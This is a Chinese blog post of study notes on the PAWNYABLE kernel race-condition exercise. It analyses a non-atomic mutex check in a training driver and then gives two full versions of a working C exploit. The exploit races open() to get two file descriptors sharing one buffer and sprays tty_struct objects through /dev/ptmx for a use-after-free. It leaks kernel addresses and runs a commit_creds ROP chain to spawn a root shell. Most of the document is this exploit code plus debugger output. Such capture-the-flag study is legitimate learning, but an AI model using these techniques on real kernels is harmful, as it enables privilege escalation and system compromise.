PAWNYABLE kernel race condition 笔记

漏洞点在于,open 的时候 mutex 的检查和设置不是原子操作。

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  if (mutex) {
    printk(KERN_INFO "resource is busy");
    return -EBUSY;
  }
  mutex = 1;

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

如何利用条件竞争

可以开启两个 fd 然后关闭,来确认接下来使用的两个 fd 是哪个。


void *race(void *) {
    int fd;
    while(1) {

        while( !win ) {
            // 如果2个进程都打开了设备,那就把 win 设为 1
            fd = open("/dev/holstein", O_RDWR);
            if( fd == fd2) {
                win = 1;
            }

            if( win == 1 && fd != -1) {
                // 如果本进程开了设备,而且另一个进程也打开
                break;
            } else if ( win == 0 && fd != -1) {
                // 如果本进程开了设备,但另一个进程没打开
                close(fd);
            } else if ( win == 1 && fd == -1) {
                // 如果本进程没开设备,但另一个进程打开了
                win = 0;
            }
        }

        if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
            break;
        } else{
            // 当前的 fd 肯定不是 -1
            close(fd);
            // 重置为 0
            win = 0;
        }
    }
} 

void create_overlap() {
    // 提前测试 fd1 和 fd2 是多少
    pthread_t th1, th2;
    fd1 = open("/tmp", O_RDONLY); 
    fd2 = open("/tmp", O_RDONLY); 
    close(fd1);
    close(fd2);
    printf("[+] next fds: %d, %d\n", fd1, fd2);

    pthread_create(&th1, NULL, race, NULL);
    pthread_create(&th2, NULL, race, NULL);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);
    printf("[+] get next fds: %d, %d\n", fd1, fd2);

}

tyy spread 写法

多线程用 tty structure 去 uaf 不是很稳定,常常用完了 fd 叶没有拿到 tty structue...解决的方法是每次都检查内核模块的地址有没有被成功获取,然后把之前打开的没用的 tty close 掉。

void *spread_tty( void *) {
    char leak[0x40];
    int i;

    for ( i = 0; i < SPREAD_SIZE; i++) {
        if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
            perror("open tty");
            goto fail;
        }

        if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
            printf("[+] spread tty success %d\n", i);
            for(int j = 0; j < i; j++) {
                close(tty[j]);
            }
            return &tty[i];
        }
    }
fail:
    printf("[-] spread tty failed %d\n", i);
    for(int j = 0; j < i; j++) {
        close(tty[j]);
    }
    return 0;
}

一些奇怪问题

Q1

受不了,怎么两次拿到一样的堆块...即使不拿到一样的堆块,之前写着 rop 的块也会被其他 tty 申请导致协商的内容会被覆盖。可是 fd2 如果不关闭,那没办法再申请一次呀...?

/ $ ./exp
[+] next fds: 3, 4
[+] get next fds: 3, 4
[+] spread tty success 0
kbase ffffffff82000000
kheap ffffa3f681bca400
[+] next fds: 4, 5
[+] get next fds: 4, 5
[+] spread tty success 0
gadget ffffffff8261c440
addr2 ffffa3f681bca400

原来不用关闭 fd2,因为当 fd1 关闭的时候已经可以再次申请了啊啊

Q2

有个疑问 ,为什么 iretq 会失败?哦,逆天,我忘记save status 了...

Q3

现在可以了,就是可能不是很稳定?有时候 kbase 的偏移会出问题,嗷~好像是因为这个 opt 的原始地址貌似不是一样的,申请的块里面有两种地址,我之前没有发现,导致计算 kbase 的是很难

pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18
0xffff9fd301bf9418:     0xffffffff8fc3aec0      0x0000000000000004
0xffff9fd301bf9428:     0x0000000000000000      0x0000000000000000
0xffff9fd301bf9438:     0xffff9fd301bf9438      0xffff9fd301bf9438
0xffff9fd301bf9448:     0xffff9fd301bf9448      0xffff9fd301bf9448
0xffff9fd301bf9458:     0xffff9fd301221a00      0xffffffff8f61c320
pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18 + 0x400
0xffff9fd301bf9818:     0xffffffff8fc3afe0      0x0000000000000004
0xffff9fd301bf9828:     0x0000000000000000      0x0000000000000000
0xffff9fd301bf9838:     0xffff9fd301bf9838      0xffff9fd301bf9838
0xffff9fd301bf9848:     0xffff9fd301bf9848      0xffff9fd301bf9848
0xffff9fd301bf9858:     0xffff9fd3012219f0      0x000000000000000

源码里面 tty->ops 是由 driver 来确定的。但是 driver 可能不一样?

	tty->driver = driver;
	tty->ops = driver->ops;
	tty->index = idx;
	tty_line_name(driver, idx, tty->name);
	tty->dev = tty_get_device(tty);

调试了一下确实是两个 driver

pwndbg> tele 0xffff8d02c13c06c0
00:0000│ rdi 0xffff8d02c13c06c0 ◂— 0x200005402
01:0008│     0xffff8d02c13c06c8 —▸ 0xffff8d02c1996590 —▸ 0xffff8d02c105cb80 ◂— 0
02:0010│     0xffff8d02c13c06d0 ◂— 0
03:0018│     0xffff8d02c13c06d8 —▸ 0xffffffff96f44eb1 ◂— 'pty_slave'
04:0020│     0xffff8d02c13c06e0 —▸ 0xffffffff96f269a7 ◂— 0x64616f6c00737470 /* 'pts' */
05:0028│     0xffff8d02c13c06e8 ◂— 0x8800000000
06:0030│     0xffff8d02c13c06f0 ◂— 0x10000000000000
07:0038│     0xffff8d02c13c06f8 ◂— 0x50000020004
pwndbg> tele 0xffff8d02c13c0600
00:0000│ r15 0xffff8d02c13c0600 ◂— 0x200005402
01:0008│     0xffff8d02c13c0608 —▸ 0xffff8d02c1996588 —▸ 0xffff8d02c105cb00 ◂— 0
02:0010│     0xffff8d02c13c0610 ◂— 0
03:0018│     0xffff8d02c13c0618 —▸ 0xffffffff96f44ea6 ◂— 'pty_master'
04:0020│     0xffff8d02c13c0620 —▸ 0xffffffff96f44edd ◂— 0x2d797474006d7470 /* 'ptm' */
05:0028│     0xffff8d02c13c0628 ◂— 0x8000000000
06:0030│     0xffff8d02c13c0630 ◂— 0x10000000000000
07:0038│     0xffff8d02c13c0638 ◂— 0x10004

一个是 pty_master 一个是 pty_slave [参考](ptmx(4): pseudoterminal master/slave - Linux man page) ,每次 open("/dev/ptmx", O_RDWR) 都会分配两个 1024 大小的块。

exp

现在好像比较稳定了

#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>

#define BUF_SIZE 0x400
#define SPREAD_SIZE 800
int win = 0;
char buf1[BUF_SIZE], buf2[BUF_SIZE];
int tty[SPREAD_SIZE];
int fd1, fd2;

// 0xffffffff810b13c5: pop rdi; ret; 
// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret; 
// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret; 
uint64_t pop_rdi_ret = 0xb13c5;
uint64_t pop_rcx_rbp_ret = 0x3006fc;
uint64_t mov_rdi_rax_ret = 0x65094b;
uint64_t gadget = 0x61c440;
uint64_t kbase, kheap;
uint64_t commit_creds = 0x723e0;
uint64_t prepare_kernel_cred =0x72580;
uint64_t srrartu = 0x800e10 + 22;
uint64_t modprobe_path = 0xe384c0;
uint64_t user_cs, user_ss, user_rflags, user_sp;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void print_hex(char *name, uint64_t addr) {
    printf("%s %" PRIx64 "\n", name, addr);
}

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}


// TODO 两个打开的 fc 怎么确认
void *race(void *) {
    int fd;
    while(1) {

        while( !win ) {
            // 如果2个进程都打开了设备,那就把 win 设为 1
            fd = open("/dev/holstein", O_RDWR);
            if( fd == fd2) {
                win = 1;
            }

            if( win == 1 && fd != -1) {
                // 如果本进程开了设备,而且另一个进程也打开
                break;
            } else if ( win == 0 && fd != -1) {
                // 如果本进程开了设备,但另一个进程没打开
                close(fd);
            } else if ( win == 1 && fd == -1) {
                // 如果本进程没开设备,但另一个进程打开了
                win = 0;
            }
        }

        if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
            break;
        } else{
            // 当前的 fd 肯定不是 -1
            close(fd);
            // 重置为 0
            win = 0;
        }
    }
}


void set_rop() {
    // for(int i = 0; i < BUF_SIZE; i+=8) {
    //     *(uint64_t *)(buf1 + i) = i;
    // }
    *(uint64_t *)(buf1 + 0x60) = gadget + kbase;

    uint64_t rop_chain[] = {pop_rdi_ret + kbase,
                            0,
                            prepare_kernel_cred + kbase,
                            pop_rcx_rbp_ret + kbase,
                            0,
                            0,
                            0,
                            mov_rdi_rax_ret + kbase,
                            commit_creds + kbase,
                            srrartu + kbase,
                            0x1,
                            0x2,
                            (uint64_t)&binsh,
                            user_cs,
                            user_rflags,
                            user_sp,
                            user_ss};

    memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain));
    write(fd2, buf1, BUF_SIZE);
}


void create_overlap() {
    // 提前测试 fd1 和 fd2 是多少
    pthread_t th1, th2;
    fd1 = open("/tmp", O_RDONLY); 
    fd2 = open("/tmp", O_RDONLY); 
    close(fd1);
    close(fd2);
    printf("[+] next fds: %d, %d\n", fd1, fd2);

    pthread_create(&th1, NULL, race, NULL);
    pthread_create(&th2, NULL, race, NULL);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);
    printf("[+] get next fds: %d, %d\n", fd1, fd2);

}

void *spread_tty( void *) {
    char leak[0x40];
    int i;

    for ( i = 0; i < SPREAD_SIZE; i++) {
        if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
            perror("open tty");
            goto fail;
        }

        if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
            printf("[+] spread tty success %d\n", i);
            for(int j = 0; j < i; j++) {
                close(tty[j]);
            }
            return &tty[i];
        }
    }
fail:
    printf("[-] spread tty failed %d\n", i);
    for(int j = 0; j < i; j++) {
        close(tty[j]);
    }
    return 0;
}

int main() {

    save_status();

    pthread_t th;

    create_overlap();

    close(fd1);

    // TODO 开了太多描述符怎么办
    int *rt;
    rt = spread_tty(NULL);

    while(!rt) {
        pthread_create(&th, NULL, spread_tty, NULL);
        pthread_join(th, (void *)&rt);
    }
    
    read(fd2, buf1, BUF_SIZE);

    // kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ;
    kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
    
    kheap = *(uint64_t *)(buf1 + 56) - 56;

    print_hex("kbase", kbase);
    print_hex("kheap", kheap);
    print_hex("alloc_tty_struct", 0x334b30 + kbase);

    getchar();

    open("/dev/ptmx", O_RDWR);

    getchar();

    // put rop chain
    set_rop();

    // close(fd2);

    create_overlap();

    close(fd1);

    rt = spread_tty(NULL);
    
    while(!rt) {
        pthread_create(&th, NULL, spread_tty, NULL);
        pthread_join(th, (void *)&rt);
    }

    read(fd2, buf2, BUF_SIZE);
    *(uint64_t *)(buf2+24) = kheap;
    write(fd2, buf2, BUF_SIZE);

    print_hex("gadget", gadget + kbase);
    // for(int i = 0; i < BUF_SIZE; i+=8) {
    //     printf("%d", i);
    //     print_hex("buf2", *(uint64_t *)(buf2 + i));
    // }
    print_hex("addr2", (*(uint64_t *)(buf2 + 0x38) - 0x38));
    getchar();

    // 如今的 tty 是多少可以确定
    printf("[+] tty: %d\n", *rt);
    ioctl(*rt, kheap+0x80, kheap+0x80);
}

如果尝试使用 sched_setaffinity 尝试一下 bind cpu?

可以使用下面这种方法来绑定

  CPU_ZERO(&t1_cpu);
  CPU_ZERO(&t2_cpu);
  CPU_SET(0, &t1_cpu);
  CPU_SET(1, &t2_cpu);

...

  cpu_set_t *cpu_set = (cpu_set_t*)arg;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set))
    fatal("sched_setaffinity");

...

  pthread_create(&th1, NULL, race, (void*)&t1_cpu);
  pthread_create(&th2, NULL, race, (void*)&t2_cpu);

即使我绑定了 cpu 成功率也只有大概二分之一,而且 gdb 调试的时候十分正常...

#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>


#define BUF_SIZE 0x400
#define SPREAD_SIZE 800
int win = 0;
char buf1[BUF_SIZE], buf2[BUF_SIZE];
int tty[SPREAD_SIZE];
int fd1, fd2;

// 0xffffffff810b13c5: pop rdi; ret; 
// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret; 
// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret; 
uint64_t pop_rdi_ret = 0xb13c5;
uint64_t pop_rcx_rbp_ret = 0x3006fc;
uint64_t mov_rdi_rax_ret = 0x65094b;
uint64_t gadget = 0x61c440;
uint64_t kbase, kheap;
uint64_t commit_creds = 0x723e0;
uint64_t prepare_kernel_cred =0x72580;
uint64_t srrartu = 0x800e10 + 22;
uint64_t modprobe_path = 0xe384c0;
uint64_t user_cs, user_ss, user_rflags, user_sp;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void print_hex(char *name, uint64_t addr) {
    printf("%s %" PRIx64 "\n", name, addr);
}

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}


// TODO 两个打开的 fc 怎么确认
void *race(void *arg) {

    cpu_set_t *cpu_set = (cpu_set_t*)arg;
    sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);

    int fd;
    while(1) {

        while( !win ) {
            // 如果2个进程都打开了设备,那就把 win 设为 1
            fd = open("/dev/holstein", O_RDWR);
            if( fd == fd2) {
                win = 1;
            }

            if( win == 1 && fd != -1) {
                // 如果本进程开了设备,而且另一个进程也打开
                break;
            } else if ( win == 0 && fd != -1) {
                // 如果本进程开了设备,但另一个进程没打开
                close(fd);
            } else if ( win == 1 && fd == -1) {
                // 如果本进程没开设备,但另一个进程打开了
                win = 0;
            }
        }

        if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
            break;
        } else{
            // 当前的 fd 肯定不是 -1
            close(fd);
            // 重置为 0
            win = 0;
        }
    }
}


void set_rop() {
    // for(int i = 0; i < BUF_SIZE; i+=8) {
    //     *(uint64_t *)(buf1 + i) = i;
    // }
    *(uint64_t *)(buf1 + 0x60) = gadget + kbase;

    uint64_t rop_chain[] = {pop_rdi_ret + kbase,
                            0,
                            prepare_kernel_cred + kbase,
                            pop_rcx_rbp_ret + kbase,
                            0,
                            0,
                            0,
                            mov_rdi_rax_ret + kbase,
                            commit_creds + kbase,
                            srrartu + kbase,
                            0x1,
                            0x2,
                            (uint64_t)&binsh,
                            user_cs,
                            user_rflags,
                            user_sp,
                            user_ss};

    memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain));
    write(fd2, buf1, BUF_SIZE);
}

void *spread_tty( void *arg) {
    cpu_set_t *cpu_set = (cpu_set_t*)arg;
    sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);

    char leak[0x40];
    int i;

    for ( i = 0; i < SPREAD_SIZE; i++) {
        if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
            perror("open tty");
            goto fail;
        }

        if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
            printf("[+] spread tty success %d\n", i);
            for(int j = 0; j < i; j++) {
                close(tty[j]);
            }
            return &tty[i];
        }
    }
fail:
    printf("[-] spread tty failed %d\n", i);
    for(int j = 0; j < i; j++) {
        close(tty[j]);
    }
    return 0;
}

int create_overlap() {

    cpu_set_t t1_cpu, t2_cpu;

    CPU_ZERO(&t1_cpu);
    CPU_ZERO(&t2_cpu);
    CPU_SET(0, &t1_cpu);
    CPU_SET(1, &t2_cpu);

    // 提前测试 fd1 和 fd2 是多少
    pthread_t th1, th2, th;
    fd1 = open("/tmp", O_RDONLY); 
    fd2 = open("/tmp", O_RDONLY); 
    close(fd1);
    close(fd2);
    printf("[+] next fds: %d, %d\n", fd1, fd2);

    pthread_create(&th1, NULL, race, (void*)&t1_cpu);
    pthread_create(&th2, NULL, race, (void*)&t2_cpu);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);
    printf("[+] get next fds: %d, %d\n", fd1, fd2);

    close(fd1);

    int *rt;
    rt = spread_tty((void*)&t1_cpu);
    while(!rt) {
        pthread_create(&th, NULL, spread_tty, (void*)&t2_cpu);
        pthread_join(th, (void *)&rt);
    }
    return *rt;
}

int main() {

    save_status();

    create_overlap();

    read(fd2, buf1, BUF_SIZE);

    // kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ;
    kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
    kheap = *(uint64_t *)(buf1 + 56) - 56;
    print_hex("kbase", kbase);
    print_hex("kheap", kheap);

    // put rop chain
    set_rop();

    // 不需要 close(fd2); 因为在 fd1 close 的时候 mutex 已经为 0

    int rt = create_overlap();

    read(fd2, buf2, BUF_SIZE);
    *(uint64_t *)(buf2+24) = kheap;
    write(fd2, buf2, BUF_SIZE);
    print_hex("heap 2:", (*(uint64_t *)(buf2 + 56) - 56));
    print_hex("gadget", gadget + kbase);
    getchar();
    // 如今的 tty 是多少可以确定
    printf("[+] tty: %d\n", rt);
    ioctl(rt, kheap+0x80, kheap+0x80);
}
posted @ 2024-12-08 21:10  giacomo捏  阅读(6)  评论(0编辑  收藏  举报